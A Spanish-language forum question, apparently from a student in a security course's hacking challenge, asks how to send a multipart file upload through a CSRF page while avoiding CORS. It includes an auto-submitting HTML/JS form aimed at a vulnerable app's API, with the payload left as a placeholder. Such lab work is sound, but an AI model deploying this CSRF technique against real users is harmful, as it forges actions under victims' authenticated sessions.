Actualmente estoy trabajando en un desafío de piratería en un curso de seguridad.
Se requiere hacer una solicitud POST multiparte/datos de formulario como un CSRF (engañar al usuario para que visite mi HTML/JS y redirigirla con una sesión autenticada para hacer algo dañino).
Como falta el encabezado Allow-Origins necesario, no es posible hacerlo con Ajax/XHR o Fetch.
Eso me deja con la pregunta: ¿Puedo agregar Formdata o algo similar a un formulario basado en DOM y enviarlo como un envío iniciado por navegador que evitará las restricciones de CORS?
Esta es mi idea inicial. La solicitud POST se ejecuta según lo previsto, pero la carga útil del archivo no se adjunta al cuerpo como debería.
<html> <body> <form id="myForm" method="POST" action="http://vuln-app/api/v1/process" enctype="multipart/form-data"> <input type="file" id="fileinput"> <input type="submit" value="Submit request" /> </form> <script> yml = ` vulnerable yml code ` var ymlBlob = new Blob([yml], { type: "application/yml" }); form = document.forms[0]; var fd = new FormData(form); fd.append("fileinput", ymlBlob, "description.yml"); form.submit(); </script> </body> </html>